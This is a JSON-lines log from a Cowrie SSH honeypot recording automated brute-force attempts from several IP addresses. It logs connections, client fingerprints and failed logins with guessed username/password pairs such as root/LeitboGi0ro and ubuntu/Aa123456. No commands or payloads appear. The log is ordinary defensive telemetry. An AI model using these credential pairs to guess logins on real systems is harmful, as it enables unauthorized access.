{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:25.225622Z","src_ip":"47.86.95.62","session":"bcee619f9f43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:25.840773Z","src_ip":"47.86.95.62","session":"bcee619f9f43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:27.059518Z","src_ip":"47.86.95.62","session":"bcee619f9f43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":47179,"dst_ip":"10.17.0.5","dst_port":22,"session":"64613baa0462","protocol":"ssh","message":"New connection: 178.20.210.186:47179 (10.17.0.5:22) [session: 64613baa0462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:36.523048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:36.528046Z","src_ip":"178.20.210.186","session":"64613baa0462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:36.625289Z","src_ip":"178.20.210.186","session":"64613baa0462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sitecom","password":"sitecom","message":"login attempt [sitecom/sitecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:37.305943Z","src_ip":"178.20.210.186","session":"64613baa0462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:38.404490Z","src_ip":"178.20.210.186","session":"64613baa0462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":19674,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d4e391a3d71","protocol":"ssh","message":"New connection: 2.57.121.25:19674 (159.203.135.109:22) [session: 5d4e391a3d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:39.615424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:39.620464Z","src_ip":"2.57.121.25","session":"5d4e391a3d71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:39.723173Z","src_ip":"2.57.121.25","session":"5d4e391a3d71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"drjynfrnt","message":"login attempt [user/drjynfrnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:40.194043Z","src_ip":"2.57.121.25","session":"5d4e391a3d71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"drevil","message":"login attempt [user/drevil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:41.296141Z","src_ip":"2.57.121.25","session":"5d4e391a3d71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dragon13","message":"login attempt [user/dragon13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:42.399130Z","src_ip":"2.57.121.25","session":"5d4e391a3d71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"douglas1","message":"login attempt [user/douglas1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:43.502116Z","src_ip":"2.57.121.25","session":"5d4e391a3d71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"doodie","message":"login attempt [user/doodie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:44.603293Z","src_ip":"2.57.121.25","session":"5d4e391a3d71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":40922,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f5c96f98de4","protocol":"ssh","message":"New connection: 47.86.95.62:40922 (10.17.0.5:22) [session: 6f5c96f98de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:45.318753Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:45.704670Z","src_ip":"2.57.121.25","session":"5d4e391a3d71","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:47.248739Z","src_ip":"47.86.95.62","session":"6f5c96f98de4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:47.253288Z","src_ip":"47.86.95.62","session":"6f5c96f98de4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:53.670232Z","src_ip":"47.86.95.62","session":"6f5c96f98de4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:06:55.568347Z","src_ip":"47.86.95.62","session":"6f5c96f98de4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44690,"dst_ip":"10.17.0.5","dst_port":22,"session":"897c6199248d","protocol":"ssh","message":"New connection: 47.86.95.62:44690 (10.17.0.5:22) [session: 897c6199248d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:01.942667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:01.951627Z","src_ip":"47.86.95.62","session":"897c6199248d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:02.228097Z","src_ip":"47.86.95.62","session":"897c6199248d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:02.988326Z","src_ip":"47.86.95.62","session":"897c6199248d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:04.199560Z","src_ip":"47.86.95.62","session":"897c6199248d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44698,"dst_ip":"10.17.0.5","dst_port":22,"session":"19d438b24cce","protocol":"ssh","message":"New connection: 47.86.95.62:44698 (10.17.0.5:22) [session: 19d438b24cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:07.863958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:07.868872Z","src_ip":"47.86.95.62","session":"19d438b24cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:08.075306Z","src_ip":"47.86.95.62","session":"19d438b24cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:08.724359Z","src_ip":"47.86.95.62","session":"19d438b24cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:09.931092Z","src_ip":"47.86.95.62","session":"19d438b24cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":53348,"dst_ip":"10.17.0.5","dst_port":22,"session":"2501e1aa9ee6","protocol":"ssh","message":"New connection: 47.86.95.62:53348 (10.17.0.5:22) [session: 2501e1aa9ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:13.064030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:13.068315Z","src_ip":"47.86.95.62","session":"2501e1aa9ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:20.890842Z","src_ip":"47.86.95.62","session":"2501e1aa9ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:27.487406Z","src_ip":"47.86.95.62","session":"2501e1aa9ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.3","message":"Connection lost after 20.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:33.328540Z","src_ip":"47.86.95.62","session":"2501e1aa9ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47482,"dst_ip":"10.17.0.5","dst_port":22,"session":"2097c2f017d3","protocol":"ssh","message":"New connection: 47.86.95.62:47482 (10.17.0.5:22) [session: 2097c2f017d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:38.383286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:38.386945Z","src_ip":"47.86.95.62","session":"2097c2f017d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:38.598618Z","src_ip":"47.86.95.62","session":"2097c2f017d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:39.262610Z","src_ip":"47.86.95.62","session":"2097c2f017d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:40.474352Z","src_ip":"47.86.95.62","session":"2097c2f017d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47466,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e5556a77364","protocol":"ssh","message":"New connection: 47.86.95.62:47466 (10.17.0.5:22) [session: 7e5556a77364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:43.429735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:07:43.516267Z","src_ip":"47.86.95.62","session":"7e5556a77364","protocol":"ssh"}
